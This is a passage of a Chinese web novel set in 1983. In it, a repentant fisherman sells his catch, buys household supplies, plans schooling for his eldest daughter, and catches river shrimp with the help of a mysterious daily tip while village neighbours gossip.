《八零赶海:鱼虾成山,九个女儿吃香喝辣》 第6章 小当家 剩下六条江鲢,江涛直接用渔网裹了背在肩上。 父女俩出了门。 刚到村口,迎面碰见赵老头和他老伴往回走。 赵老头肩上扛着空渔网,脸色不大好看。 “赵叔,赵婶,回村啊?” 江涛主动打招呼,又让招娣叫人。 “赵爷爷,赵奶奶。”江招娣连忙叫道。 赵老头“嗯”了一声,脸色稍微缓和。 今天在江边蹲了半天,鱼鳞都没捞着一片。 要不是下的渔网有记号,没旁人动过的痕迹,他真怀疑是让哪个龟孙子给截了胡。 打了一辈子鱼,今天居然空军了,偏巧江涛这好吃懒做的混子却能弄到江鲢。 要不是老伴喊他回去,他估计能气得在江边呆一夜。 赵老太见老头脸色不对,连忙打圆场,“是啊,回村。涛子这是去哪?呦,这么多鱼!” “去乡里,把鱼卖了,换点口粮。” “哼。” 赵老头心里本就不得劲,听到这话,抬脚就走。 赵老太赶紧朝江涛父女笑笑,快步追上去。 等走出一段,赵老太回头看看江家父女走远了。 “哎,老头子,你说江涛这真是去卖鱼?该不会是去卖孩子吧?你看就那几条鱼要带老大干嘛?” 赵老头瞪她一眼,“别瞎说!哪有那样的事!” “你可不信!” 赵老太撇撇嘴,“他家那个老九,生下来就没见着,不就是被他抱走卖了吗?这有一就有二,小的卖了,现在可不就要轮到大的了?唉,月柔那孩子真是命苦,怎么一连九个都是丫头……” “这些闲事少管!” 赵老头闷头赶路。 另一边,江涛父女继续往乡里走。 江招娣见爸爸背着渔网,走得额上都出了汗,便讨好道:“爸爸,要不让我来背一会儿吧?” “哪能让你背啊。” 江涛侧头看她一眼,“带你去乡里,是想着你眼睛尖,家里缺什么,你帮忙看着点买。” “嗯!爸爸你真好。” 江招娣仰起小脸。 江涛心里不是滋味,他知道孩子这是在讨好他。 “招娣,爸爸以前混账,对不住你们娘几个。你信爸爸,往后我一定让你们都过上好日子。” “我信爸爸。” 江招娣点头,小脸满是认真,可心里却并没抱太大期望。 以前爸爸也不是没有好的时候,可很快就原形毕露了。 每次妈妈怀宝宝的时候,他都说生下儿子我好好养,可每回生下妹妹,他的脸色就一天比一天难看。 不过,爸爸愿意装,她也不拆穿,万一这回是真的呢? 江涛不知道女儿在想什么,见她忽然沉默,便没话找话,“招娣,今年有八岁了吧?” “爸爸,我十岁了。”江招娣小声道。 江涛脸上掠过一丝尴尬,孩子一堆,他连她们几岁都记不清。 “十岁了啊……招娣,等爸爸挣了钱,就送你去上学吧。十岁的孩子,该念书了。” 江招娣摇头,“爸爸,我不去上学,我在家帮忙干活。上学要花钱的,还要买本子买笔。” “小孩子哪能不上学?” 江涛心里发酸,“你是不是怕上学才说不去?” “我才不怕上学呢!” 江招娣急急反驳,“家里没钱,还有几个妹妹要照顾……” 江涛听得心里难受,更是打定主意,等有了钱,赶紧送招娣去上学。 都十岁了,还在家当半个劳力用,以前的自己真不是人。 江招娣见江涛脸色不好,有点紧张,连忙岔开话题,“爸爸,咱们去哪儿卖鱼啊?” 江涛回过神。 对啊,去哪儿卖? 这时候就算乡里人手里也紧,舍得买活鱼打牙祭的不多。 零卖的话,这六条江鲢,不知道要卖到什么时候。 他可是说过天黑前要还杂货铺老板钱的。 “去饭店碰碰运气。” 江涛想了想,乡里有个国营东风饭店,是专门招待上面来的干部和办事人员的,气派得很,寻常百姓很少进去。 这种地方,应该舍得花钱买好食材。 “咱这江鲢新鲜,他们兴许能收。” 两人加快脚步进了乡里,径直往镇中心最气派的那栋二层小楼走去。 东风饭店门口挂着牌子,门脸敞亮。 江涛没走正门,绕到后头厨房院子,敲了敲小门。 开门的是个系着白围裙的老师傅,听明来意,又仔细看了那几条江鲢的鱼鳃。 红红的挺新鲜。 进去问了一声,很快出来个管事模样的人,看了看鱼,又用手按了按鱼肚子。 “要是活的一块八,你这都死了,一块五一斤,都要了。过秤吧。” 江涛也是没经验。 鱼是鲜活,可离水时间长了自然就活不了。 不过,下次注意就行了。 一过秤,六条鱼,三十二斤,刚好四十八块。 那管事点了四十八块给江涛,看他身边还有个孩子,便让老师傅从后厨拿了两个白面馒头塞给江招娣。 “谢谢叔叔,谢谢爷爷。” 江招娣嘴很甜。 拿着四张大团结,加上八张女拖拉机手,江涛感觉手心发烫。 四十八块! 在1983年,这可是一笔不小的钱! 镇上普通工人一个月也就三四十块,像他们村里好些人家一年都攒不下这么多。 他强压着激动把钱揣进内兜。 江招娣捧着热乎的白面馒头眼睛都直了,舍不得吃,只小心地用手帕包好。 “走,咱们去杂货铺。” 江涛心情大好,领着女儿往老王杂货铺而去。 王老板正低头拨弄算盘,一抬眼看见江涛,眉头就皱了起来,“你怎么又来了?” “王老板,我说了天黑前还你钱。” 江涛笑着掏出五块钱,放在柜台上,“先前给了五块,再补五块,正好十块。多谢您上午行方便。” 这混子还粘上了? 王老板刚要开口赶人,发现江涛身后怯生生的江招娣,脸色缓了缓,“说了五块就五块,用不着多给。拿走拿走。” “那不行,说好十块就是十块。” 江涛坚持,又把钱往前推了推。 王老板无语,目光落在江招娣身上,“这是你家老大?几岁了?” “王伯伯,我叫招娣,今年十岁。”江招娣小声回答。 “招娣真乖。” 王老板脸上有了笑意,转身从柜台下的小罐子里抓出一小把水果硬糖,递给江招娣,“来,拿着吃。” 江招娣看看糖,又看看爸爸,不敢伸手。 “拿着吧,” 江涛摸摸她的头,“谢谢王伯伯。” “谢谢王伯伯。” 江招娣接过糖,小心放进了衣兜。 王老板不由感慨,这孩子真懂事。 他转向江涛,“钱我收了,不过我不白占你便宜。我这儿还有个抄网,是以前进的,放了阵子,你要不嫌弃,五块钱给你。比撒网省力,在河边捞点小鱼小虾给孩子补补身子。” 说着,从角落拿出个带长竹竿的抄网。 这东西确实有用。 江涛爽快答应,“行,那就谢谢王老板了。” 他把五块钱又往前推了推。 王老板这才把钱收下,将抄网递给江涛。 看着一直安安静静的江招娣,忍不住对江涛说:“多好的孩子,懂事乖巧。往后少出去瞎混,把几个孩子养大,比什么都强。” “您说的是,我记下了。” 江涛点点头,转头问女儿,“招娣,看看家里还要买点啥?” 江招娣早就想好了,“爸爸,家里米面要买一些,菜籽油、酱油,盐,火柴,煤油……嗯,妈妈做针线的顶针坏了,要是钱够,能不能买一小块肥皂?” 王老板在一旁听着,心里直叹气。 这孩子小小年纪就当家,说的全是过日子最紧要的东西,半点没提自己想要什么。 他忍不住又对江涛说:“你看看,孩子多知道过日子!以前你……唉,不说了,以后好好的就行!” 江涛心里又酸又涨,按女儿说的,买了十斤米,十斤面,五斤菜籽油,一斤酱油,两袋盐,火柴一打,煤油三斤,针线包,肥皂两块,又额外称了两斤糖果。 这一番采买,加上抄网,一共花了二十块二角。 看着手里还剩下的二十七块八角,想着家里连张吃饭的桌子都没有。 “王老板,您知道哪里有大圆桌卖吗?” 第7章 上学 “大圆桌?那可不便宜,新打的,最普通的也得三四十块一张。” 王老板的话,让江涛心里凉了大半截。 他兜里这点钱竟连个桌子都买不起? 也是,八十年代这东西属于重要资产和大件,不是随意添置的。 还是等以后宽裕了再说。 眼下,最要紧的是送招娣去上学。 他领着招娣出了杂货铺,没往村子方向走,而是拐向乡里小学那条路。 “爸爸,我们不回家吗?” 江招娣拿着抄网,有些不安地问。 该不会爸爸真要把她卖了吧? 可想想却又不像。 “先不回去。” 江涛掂了掂肩上沉甸甸的渔网,里面装的是这次采买的生活用品。 “爸带你去学校看看。” “去学校?” 江招娣仰起的小脸上满是惊讶。 “嗯。” 江涛看着女儿的眼睛,“招娣,你想上学吗?” 江招娣嘴唇动了动,那句“不想”在嘴边打了个转,却怎么也说不出口。 她低下头,看着自己露出脚趾的旧布鞋,“上学……要花钱的。妹妹们还小……” “钱的事,爸来想办法。” 江涛心里那股酸涩又涌了上来,“你就告诉爸,想不想坐在教室里,跟着老师念书?” 江招娣飞快地抬眼看了眼江涛,又低下头,过了好一会儿,才几不可闻地“嗯”了一声,用力点了点头。 “那就行。” 江涛抬头,看着远处那排熟悉的砖瓦平房,那是乡里的中心小学。 他记得,上辈子因为自己的混账,几个女儿到死都没能迈进学校那道门槛。 “走,咱们先去问问,现在上学是个什么章程,要备些什么。” 而此时,滨江村,江涛家里。 林月柔坐立不安,在灶台边转来转去,隔一会儿就到门口张望。 眼看日头西斜,天边都染了橘红,江涛和老大还不见人影。 她这心里七上八下的,像揣了只兔子,越跳越慌。 难道江涛死性未改,真把招娣给卖了? 这个念头一冒出来,就压不下去,越想越像真的。 要不然,卖几条鱼怎么要这么久? 眼看天都要黑了。 几个丫头也很懂事,知道妈妈心里不踏实,都缩在角落里,安安静静的,连最小的老八也只是小声哼唧,被老三轻轻拍着。 屋里一片压抑的寂静,只有灶膛里偶尔噼啪一声。 林月柔心乱如麻,又走到门口张望,忽然瞥见外面有人影晃动。 她心一提,定睛一看,是隔壁的赵老太。 赵老太在门外探头探脑,见林月柔发现了她,索性大大方方走了进来。 “月柔啊,还没做饭呢?涛子跟招娣还没回来?” “没……没呢,赵婶。” 林月柔勉强扯出笑,心里却更乱了。 赵老太这时候过来,怕也是听了什么风声,来看情况的。 “哦,我顺路过来瞧瞧。” 赵老太在屋里扫了一圈,目光在那空荡荡的米缸和缩成一团的几个丫头身上停了停,叹了口气,“这涛子也是,天都快黑了还不着家。招娣那孩子……没事吧?” 这话问得林月柔心口一紧。 “应……应该没事,说是去卖鱼……” 两人正说着话,院子里传来脚步声,还有招娣清脆的一声“妈”。 林月柔猛地抬头,就见江涛扛着鼓鼓囊囊的渔网。 招娣跟在后头,小脸红扑扑的,手里拿着个崭新的长杆抄网,腋下还小心地夹着个小布包。 “可算回来了!” 林月柔一颗悬到嗓子眼的心,重重落回肚子里,双腿都有些发软。 赵老太也惊奇地瞪大了眼。 这江涛真回来了? 还带着招娣? 渔网里鱼不见了,反倒塞满了大包小包。 “赵婶也在啊。” 江涛放下东西,抹了把汗,将渔网解开。 里面的东西“哗啦”一下倒在地上,堆成了小山。 一小袋大米,一小袋面粉,一瓶菜籽油、一瓶酱油,两袋盐,一打红头火柴,一瓶煤油,一个针线包,两块黄色肥皂,一包糖果,还有一块猪肉,以及生姜蒜头等调味品。 “哇!” 缩在角落的几个丫头,眼睛一下子亮了,小脑袋纷纷凑了过来。 林月柔看着地上这一堆往日想都不敢想的家当,脑子有点发懵。 米、面、油、盐……都是实实在在填饱肚子,能让日子过下去的东西。 他真的没卖孩子,真的是去卖鱼换粮了? 还换了这么多? 一股极其复杂的情绪猛地冲上心头。 有卸下千斤重担后的虚脱,有对之前错怪他的一丝愧疚,但更多的,是一种庆幸和希望。 江涛打开装着糖果的纸包,里面是花花绿绿的水果糖。 他抓了一大把,塞到赵老太手里,“来,赵婶,给家里孙子甜甜嘴。” “哎呦,这怎么好意思……” 赵老太嘴上推拒,手却很诚实,眼睛不住地往地上那堆东西上瞟。 嚯!这么多! 看来鱼是真卖出去了,还卖了好价钱。 接着,江涛又给几个女儿都分了糖。 几个丫头捧着糖果,小脸上全是不可思议,你看看我,我看看你,舍不得吃,只紧紧攥在手心。 林月柔看着这一幕,张了张嘴,想说什么,喉咙却像被什么堵住了。 最终,她只是默默走过去,开始收拾那些东西。 “怎么还买肉了?” “妈妈,爸爸带我去学校了!老师说了,这学期快结束,让下学期开学再带我去报名。这块肉是买了给老师表示心意的,但老师没要,就让我们带回来了。” 江招娣生怕妈妈责怪乱花钱,赶紧解释。 “上学?” 林月柔的手停住,有些难以置信地看向江涛。 几个孩子是该上学了。 这念头在她心里盘旋了许久,却从不敢真的指望。 “你家几个是该上学了。” 赵老太在一旁接话,“我家孙子七岁就送去学校了,孩子生下来就该认字明理。” 听到这话,江涛脸上有些发烫。 以前他在外面花天酒地,对几个孩子不闻不问。 觉得女娃子读书是浪费,是替别人家养,从不觉得有什么不对。 现在听赵老太这么一说,再想起自己过去干的混账事,只觉得脸上火辣辣的,自己真是愚不可及。 他尴尬地笑了笑,没接话茬,转头对林月柔说:“月柔,今晚将肉红烧了,给孩子们解解馋。赵婶也别走了,留下一起吃晚饭。” “不了,不了,” 赵老太连连摆手,“家里还等着我呢。” 说着,揣着糖果走了。 屋里终于只剩下自家人,江涛这才松了一口气。 第8章 江虾 天色渐渐暗了下来。 干涸已久的煤油灯重新加满煤油。 灯捻拨到最亮,昏黄的光晕立刻将小小的土屋填满。 林月柔已将东西分门别类归置好。 空了许久的米缸里有了十斤大米。 靠灶台的角落,整齐堆着面粉、油盐酱醋和两块黄色肥皂。 新买的抄网也靠放在墙边。 灶膛里烧着芦苇杆,噼啪作响,金黄的火苗舔着锅底。 江涛将五花肉的肥肉剔下一层,切成小块。 铁锅烧热,放点菜籽油,肥肉块倒进去,小火慢慢煎熬。 油脂渐渐被逼出来,肥肉块蜷缩成焦黄酥脆的油渣,满屋子都是勾人的荤油香。 “爸爸,好香啊。” 几个丫头围着灶台,小鼻子使劲吸着香气。 江涛笑笑,小心用勺子舀出一些清亮的猪油,盛在小碗里留着以后用。 油渣捞上来放在盘子里。 锅底还剩些油,他利落地将切好的肉块倒进锅里,刺啦一声,翻炒到表面微黄。 可惜忘了买料酒去腥。 江涛有些懊恼。 不过,这时候的猪一般是吃草长大的,腥味应该不重。 他倒了些酱油增色,加上水,撒了盐。 想了想,又剥了颗水果糖,扔进锅里提鲜。 浓油赤酱的汤汁没过肉块,盖上锅盖,小火慢炖起来。 另一个锅里,煮着香喷喷的大米饭。 林月柔本想煮稀饭,江涛没同意。 “就大米饭,让孩子们吃顿饱的。” 这次只买了十斤米,主要是拿不动。 卖鱼的四十八块,买了一应生活物资和猪肉,又给招娣买了书和铅笔本子,花去八块。 他手里还剩下十九块八毛。 除去要还铁牛的五块,还有十四块八毛。 十四块八,是个吉利数字。 一世发。 江涛心里盘算着,觉得日子有了盼头。 就是不知道像今天这样的好事,以后还能不能碰上? 香味越来越浓,米香混着肉香,一个劲地往人鼻子里钻,勾得人肚子咕咕叫。 几个丫头不停地咽口水。 林月柔从自留地掐了一把嫩绿的青菜回来。 等红烧肉烧得酥烂,浓稠的汤汁咕嘟咕嘟冒着泡,满屋都是酱香时,江涛将肉盛进大碗。 就用锅里剩下的底油,把油渣和青菜一起倒进去,旺火快炒几下,碧绿的青菜裹着油光,也出了锅。 灶台上,一大碗油光红亮的红烧肉,一盘油渣炒青菜,锅里还有热气腾腾的白米饭。 简直比过年还丰盛。 几个丫头围在旁边,眼睛瞪得溜圆,小脸上全是不敢相信的神情,以为自己是在做梦。 可那钻鼻子的香味,还有锅里实实在在的热气,又明明白白地告诉她们,这一切都是真的。 “都愣着干啥?拿碗,盛饭!”江涛笑着招呼。 林月柔赶紧给每个人盛饭。 她先给江涛盛了满满一碗,又给几个丫头盛。 江涛拿起筷子,先给每个女儿碗里夹了一块红烧肉,又夹了一筷子油汪汪的青菜。 “吃,都多吃点。” 孩子们看着碗里从没享用过的饭菜,抬头看看爸爸脸上从未有过的温和笑容,这才小心翼翼地端起碗,先是小小地扒了一口白米饭,然后试探着咬了一小口红烧肉。 浓香酥烂的肉块在嘴里化开,油脂的丰腴和酱汁的咸香瞬间充盈了整个口腔。 几个丫头再也顾不上矜持,大口大口地吃起来,腮帮子塞得鼓鼓的,吃得头也不抬。 林月柔看着这一幕,鼻子有点发酸。 她低下头,扒了一口饭,又夹了一小块肉放进嘴里细细地嚼。 这滋味,真好。 希望这样的日子,能长久些才好。 江涛看着妻女们满足的样子,心里那点酸涩终于被一种踏实的暖意取代。 这才像个家。 吃完饭,江招娣和稍大的两个丫头抢着要洗碗。 今天爸爸掌勺,她们可不能蹬鼻子上脸啥也不干。 见状,江涛也没再争,由着她们去了。 林月柔搞了一小勺面粉,小心将每个碗和盘子的油花擦一遍。 江涛在旁看着。 嗯,没有洗洁精的年代,用面粉去油倒是不错的法子。 林月柔见他看着,小声解释,“这油裹在面粉里,可以擀面条吃。” 嗯? 江涛愣了一下。 还真是一点也不浪费。 不过虽说都是一家人,他心中难免还是有些膈应。 碗筷收拾停当,洗漱完毕,林月柔立刻吹熄了煤油灯。 “赶紧睡吧,省点油。” 屋里陷入黑暗,只剩下均匀的呼吸声。 几个孩子吃得饱饱的,很快就睡着了。 夜色渐深,村里静悄悄的。 老赵家屋里,赵老太翻了个身,鼻翼翕动了几下。 “老头子,你闻闻,这是不是肉香?肯定是涛子家,我今儿瞧见他家买肉了。” “就你鼻子尖。” 赵老头面朝里躺着,瓮声瓮气道,“人家吃顿肉,关你啥事?睡你的觉。” “我这不觉得稀奇嘛。” 赵老太咂咂嘴,“涛子没卖孩子,还割了这么大块肉,他该不会想憋个大的吧?” “什么大的小的?” 赵老头有点不耐烦,“不就走了狗屎运,捞着几条鱼换了钱?还不兴人家吃顿好的?” “哼,说得轻巧。” 赵老太撇撇嘴,“你也是天天下网,怎么就没捞着?” 这话戳到了赵老头的痛处。 今天在江边捞了大半天,可惜一无所获。 “运气而已!还能天天有这好事?赶紧睡,别瞎琢磨!” 次日,天色大亮。 江涛眼皮动了动,一行字就在脑子里浮了出来。 【每日情报:今日巳时,江边最大芦苇荡西侧第二处浅水窝,有一群江虾出没。】 每日情报? 他一个激灵,睡意全无。 这意思,昨日那好事天天都有? 江涛一阵心头火热。 巳时,不就是上午九点到十一点? 他一个鲤鱼打挺跳下床,“招娣,快,提上桶跟爸爸去江边!” “吃了早饭再出去吧?”林月柔从灶台后探出头。 “不了,过了时间就没了!” 江涛难免焦急。 虽没完全搞懂这个“每日情报”是怎么回事,但上面既然说了具体时间。 那就说明机会很可能稍纵即逝。 “妈妈,我这儿还有馒头!” 江招娣也立刻爬了起来,从枕头旁摸出小布包,打开里面的手帕,正是昨天饭店给的两个白面馒头。 昨晚吃了大米饭,馒头就没舍得动,现在正好派上用场。 “好,带着路上吃!” 江涛接过一个馒头咬了一大口,含糊道,“月柔,你们先吃,别等我们。” 说完,他抄上墙边的渔网和抄网,带着提了木桶的江招娣,风风火火出了门。 第9章 发财了 父女俩边啃馒头,边急匆匆往江边赶。 路上碰见几个下地的村民,见到江涛带着女儿火急火燎的,都有些诧异。 往常这个时候,江涛不是在家躺着,就是在外头晃荡没回来,哪有这么早出门的。 “涛子,这么早干嘛去啊?”有人扬声问。 江涛哪有心思搭话,只冲那人胡乱点点头,拉着招娣一阵风似的过去了。 留下那几个村民面面相觑,看着父女俩远去的背影,低声议论起来。 “这江涛,又搞什么名堂?带着丫头片子往江边跑?” “怕不是昨天卖了鱼尝到甜头,今天又想去碰运气?” “切,那江里的鱼是那么好碰的?昨天是走了狗屎运,还能天天有?再说了,这个时辰……” 说话那人抬头看看天,又看看远处平静的江面,“潮水刚退下去,水浅了,鱼都跟着潮水回深水了,近岸能捞着个啥?瞎折腾!” “就是,带着个赔钱货顶啥用?家里都快揭不开锅了,还不多下下地……” “唉,说这些干啥,他家那几亩地,月柔一个人拖着几个丫头,能伺候出个啥?绝户的命哦……” “人家可过得潇洒,都啃上白面馒头了!” 闲言碎语飘过来几句,江涛听得心头火起。 但眼下不是跟这些人计较的时候。 此刻,他只恨不能一步就跨到江边。 唉,要是有辆自行车就好了。 赵老头正在自家地头抽烟,远远看见江涛父女俩那着急忙慌的架势,心里不由得犯起嘀咕。 这小子,难不成真把昨天那点运气当成家常便饭了? 他摇摇头,嘴角撇了撇,露出一丝不以为然的哂笑。 年轻人,想一口吃成个胖子,哪有那么容易。 这时辰,老打鱼的都是去深水区下网,没船在浅水洼子不是瞎浪费工夫吗? 江涛和江招娣一口气跑到江边。 清晨的江面雾气蒙蒙,潮水刚刚退去,露出大片湿漉漉的滩涂,空气中弥漫着浓重的水汽和淡淡的泥腥味。 芦苇荡一眼望不到边,在风里飒飒作响。 江涛有点犯难。 每日情报说,最大芦苇荡西侧第二处浅水窝,可哪个芦苇荡才算最大? 他平时不怎么来江边,对这里的地形根本不熟,只能凭着感觉往里钻。 扒开几处芦苇,看到几片水洼,都不像浅水窝,要么水太深,要么没遮没拦。 眼看时间一点点过去,江涛急得额头上冒了汗。 没有手表也不知道现在什么时候,真是急死个人! “爸爸,你找什么呀?” 江招娣一直紧跟在他身后。 “最大的芦苇荡,西侧第二个水窝子。” 江涛也是没指望了,竟指望上江招娣。 不过,江招娣还真就知道。 “爸爸,应该在那里!” 她伸手指向一个方向,“这片芦苇荡最大,西边是那边。打芦苇杆的时候,我记得那边水洼子多,好像是有几个小水窝。” 江涛眼睛一亮,忙跟着女儿走。 江招娣带着他在芦苇丛里七拐八绕,果然看到一片地势稍低的浅滩,上面分布着好几个被茂密芦苇半包围的小水洼。 “第二个……应该是那个!” 江招娣指着其中一个。 那水洼不大,水很清浅,一眼能看到底部的泥沙和几块石头。 亏得带了招娣来,不然他自己找到中午也未必能找对地方。 江涛心里一阵庆幸。 谁说女儿是赔钱货?明明就是小福星好吧! 两人放轻脚步,小心翼翼地扒开最后一道芦苇屏障,朝那水洼子里望去。 这一看,两人都差点惊呼出声。 只见那清澈见底的水洼里,密密麻麻,全是大大小小的青灰色江虾! 它们有的弓着身子,用细长的虾须探着水,有的正弹跳着追逐水里的浮游物,还有的懒洋洋地趴在石头上,透明的虾壳隐隐闪光。 这一大群,怕不是有十来斤! “爸爸……” 江招娣激动地抓紧了江涛的衣角,小脸都兴奋得泛红了。 江涛也忍不住咧嘴笑了。 他赶紧示意女儿别出声,慢慢放下肩上的渔网。 不过,这水洼子太浅,撒网是不行的,而且,虾小,网眼容易漏。 还好带了昨天王老板给的抄网。 抄网是竹竿长柄,前面是一个用细密网子做的半圆形网兜,正是捞虾的好工具。 江涛屏住呼吸,将抄网轻轻探入水洼边缘,看准虾群最密集的一处,手腕猛地一发力,斜斜向前一舀,再迅速抬起! “哗啦”一声水响,抄网离开水面,沉甸甸的。 透过细密的网眼,能看到里面几十只江虾正在疯狂地弹跳挣扎,晶莹的水珠四处飞溅。 “快,桶!” 江招娣早已做好准备,连忙将带来的木桶提到跟前,里面已经打了小半桶清澈的江水。 她昨天在饭店听到说鱼虾死了不值钱。 所以,刚才一到江边,她就先打了水,保证虾放进去能活。 江涛将抄网一倾,那几十只活蹦乱跳的江虾“噼里啪啦”地掉进桶里,长长的虾须立刻在清水里四散摆动。 “好多虾!” 江招娣眼睛都看直了。 江涛也精神大振,顾不上喘气,再次将抄网伸进水洼。 一网,两网,三网……他专挑虾多的地方下手。 江招娣则守在桶边,每次爸爸倒虾进来,都小心翼翼地看着,生怕有虾跳出去。 不过小半个时辰,木桶里就装了密密麻麻大半桶江虾,青灰色的一片,在里面不停地游动弹跳。 水洼子里的虾群,肉眼可见地稀疏下去,剩下的都机警地躲到了石头缝和芦苇根底下。 又捞了几下,江涛收了手。 看着几乎一桶的江虾,他恨不能开怀大笑。 江虾可比江鲢还贵,拿到乡里卖,又是一笔实实在在的收入! “爸爸,我们发财了!” 江招娣脸上也是掩不住的兴奋。 “这点还谈不上发财。” 江涛揉了揉女儿的头发,心里充满了干劲和希望。 有了每日情报,家里的日子,一定能一天天好起来! 发财还不是迟早的事。 “咱们赶紧回去,江虾太多桶又小,别闷死了。” 江涛收拾好东西,用渔网将桶口罩住以防跳出来,拎起水桶,和女儿快步往回走。 第10章 尝尝鲜 村口,几个村民正聚在那儿闲聊。 见江涛提着沉甸甸的水桶,江招娣拿着湿漉漉的抄网,像是有什么重大收获,都探着头想看个究竟。 但江涛没像昨天捞到江鲢时那样显摆,也没指望几次收获就能扭转村里人对他的印象。 日子是过给自己的,不是过给别人看的。 很多人都是笑人无,恨人有的。 此前,他就是太在意闲话,听别人说他绝户,心里憋闷,才对林月柔和几个孩子横挑鼻子竖挑眼。 如今,重活一回,很多事看开,又岂会在意一点议论? “涛子,抓到啥好东西?” “没什么。” 江涛目不斜视往前走,江招娣低着头,紧紧跟在爸爸身后。 江虾要紧,得赶紧回家安置好。 等他们走远,身后传来村民压低的议论声。 “装什么装!提那么沉一桶,能没货?” “别理他,瞎猫碰上死耗子,还能回回有?” “哎,你们听说宋二在外面搞女人那档子事没?” 宋二? 江涛皱了皱眉,只当那些闲人又在嚼舌根。 家门口小路,老二江盼娣和老三江来娣一直蹲在那张望。 见到爸爸和大姐的身影,立刻像两只小兔子似的蹦了起来,飞快地跑进家里报信。 “妈妈,爸爸和大姐回来了!” 江涛提着桶走进家里。 赵老太也在,正和林月柔坐在灶台边的小木墩上说话,边说还边笑,眉飞色舞的。 “什么事这么高兴啊?” 江涛将桶小心放在墙边。 “哎呀,涛子,你回来了。” 赵老太一见江涛,脸上笑容更深,一拍大腿,“哎哟,你是不知道,今儿可热闹了!早上,宋二在乡里,被个打扮妖里妖气的野女人堵住了,就在供销社门口,那叫一个好看!” “那女人哭天抹泪的,说宋二占了便宜不认账,肚子都大了,扯着宋二的衣服不让走,又是抓又是挠的,把宋二穿的中山装都扯烂了!” “哎哟,宋二那脸上,还被挠了好几道血印子,啧啧,可热闹了,围了里三层外三层的看热闹!” 赵老太说得活灵活现,仿佛亲眼所见。 江涛摇头笑笑。 什么野女人,多半就是葛亚慧。 没想到她还挺听劝的,倒是真的去找宋二了。 可惜宋二属泥鳅的,滑不留手,想从他身上占便宜,怕是没那么容易。 不过,都是别人的破事,与他无关。 江涛本想等赵老太走了再倒腾这桶虾,可赵老太眉飞色舞说得正起劲,压根没有走的意思。 算了,知道就知道吧。 江涛让林月柔找来一个大盆,里面放了一点水。 他小心翼翼地揭开桶口的渔网,将桶倾斜,“哗啦”一声,青灰色的一片倒进大盆里。 刹那间,整个盆仿佛活了过来! 大大小小的江虾在浅水中蹦跳弹跃,发出噼里啪啦的脆响。 细长的虾须胡乱挥舞,搅得水面波纹阵阵。 这一盆,少说也有十来斤! “哎呦我的天!” 赵老太惊得差点没跳起来,眼睛瞪得溜圆,“这……这……涛子,你这是掏了虾窝子了?!” 林月柔也惊得捂住了嘴。 看着那满满一盆活蹦乱跳的江虾,巨大的喜悦涌上心头。 这可都是钱,是粮食,是孩子们的指望! “哇!” 几个丫头围了上来,蹲在盆边,小脸全是兴奋和惊奇。 老二江盼娣伸出小手想去戳一戳,一只大虾猛地一弹,水珠溅到脸上,吓得她“哎呀”一声缩回手。 老三来娣胆子大些,小心捏住一只虾的长须提起来,那虾立刻弓起身子乱弹,惹得她“呀呀”直叫,其他几个丫头见了赶紧让她松开。 “没啥,就在江边碰上的。” 江涛笑笑。 赵老太绕着大盆转了两圈,嘴里啧啧称奇。 “涛子,你这运气也太好了!昨天大江鲢,今天江虾……乖乖,这江虾可比鱼还值钱,新鲜活跳的,拿到乡里卖,怕不是……” 具体价钱她算不来,但知道肯定不会少。 赵老太看向江涛的眼神变了。 这江涛,难不成转了性,连运气都跟着转了? “招娣,盼娣,来娣……丫头们,中午吃油焖江虾好不好?” 江涛笑着看向围在盆边的几个女儿。 “好好好!” 几个丫头立刻欢呼起来。 昨天大江鲢和红烧肉,爸爸都做得好吃,她们对今天的江虾也是充满期待。 林月柔有些舍不得,但看孩子们高兴,话到嘴边又咽了回去。 江招娣机灵,“爸爸,我来挑一些小的,大的留着卖钱。” “大姐,我帮你挑。” 盼娣和来娣凑热闹,三双小手在盆里小心翼翼地扒拉,专拣那些个头小,跳得不太欢的往桶里放。 江涛笑笑,也不在意。 等她们挑好了,用水瓢舀了一大瓢个头足的大江虾出来。 “咱们也尝尝大的,自己抓的虾,还能不给自家人尝尝鲜?卖钱是为了过日子,肚子也得先照顾好。” “月柔,你去淘米准备闷大米饭!” 林月柔看着那一瓢大虾,又是一阵心疼,可看着丈夫和孩子们高兴,也不能扫兴,转身去淘米准备闷大米饭了。 “赵婶,要不留下吃午饭?”江涛客气了一句。 “不了,不了,我也得回去做饭了。” 赵老太摆摆手,知道不能再腆着脸待在这,一步三回头地走了。 江涛将孩子们挑出的小虾用清水冲洗干净,再用剪刀剪掉虾脚和虾须,沥干水。 锅里下菜籽油烧热,把小虾倒进去,旺火快炸,虾壳瞬间变得金黄酥脆,捞出来沥油,撒上点盐,尝一口又香又脆。 锅里刚油炸小虾的底油,放入葱姜蒜末爆香,再将那瓢洗净的大虾倒进去翻炒,虾壳变红后,倒入酱油,加一点盐,又倒了些水,盖上锅盖焖煮。 很快,浓郁的酱香和虾的鲜甜就混在一起,从锅盖缝隙里钻了出来,飘得满屋子都是,勾得人口水直流。 赵老太回到家,心里怎么想怎么不是滋味。 人家江涛家昨天吃肉,今天吃虾,那香味,啧! 看看自家灶台,冷冷清清的。 她一赌气,今天偏不煮稀粥,学江涛家,也闷大米饭! 舀米的时候,手一抖,比平时多下了小半碗。 赵老头从外面回来,一看淘米篮子,眉头拧成了疙瘩,“你疯了?这日子不过了?一顿吃这么多米?” “不过了,不过了!” 赵老太正憋着气,“就兴别人家吃大米饭,吃肉吃虾,我们就得喝稀粥就咸菜?” “人家江涛昨天捞鱼今天捞虾,你倒好,下河捞了半辈子,天天空着手回来!连家里吃的都指望不上,还好意思说我?” “你……” 赵老头被戳到痛处,脸憋得通红,想骂又骂不出口,最后只能重重地“哼”了一声,蹲到门槛上,闷头抽起了水烟。 “我家今天也吃米饭,哼!” 赵老太懒得搭理他,将米下锅,又添好水,坐在灶膛前烧起了火。 第11章 好本事 “开饭了!” 灶台上,摆着三个菜。 一盆金黄酥脆的油炸小虾,一碗酱红油亮的油焖大虾,还有一碟清炒的青菜。 锅里是冒着热气的白米饭。 林月柔给一家子盛饭,习惯性地先盛了满满一碗递给江涛。 江涛却将碗递给了大女儿。 “招娣,今天能找到虾窝子,你是大功臣。这碗饭你先吃。” 江招娣愣住,“不,爸爸,你先吃,我等会儿……” “拿着。” 江涛把碗塞到她手里,“该你的,就拿着。” 江招娣捧着那碗饭,眼眶有点发热,“谢谢爸爸。” 每个人都端上了饭碗。 江涛这才拿起筷子,给每个女儿碗里都夹了一只油焖虾。 “都吃,别光看着。” “谢谢爸爸!” “爸爸真好!” 几个丫头埋头干饭。 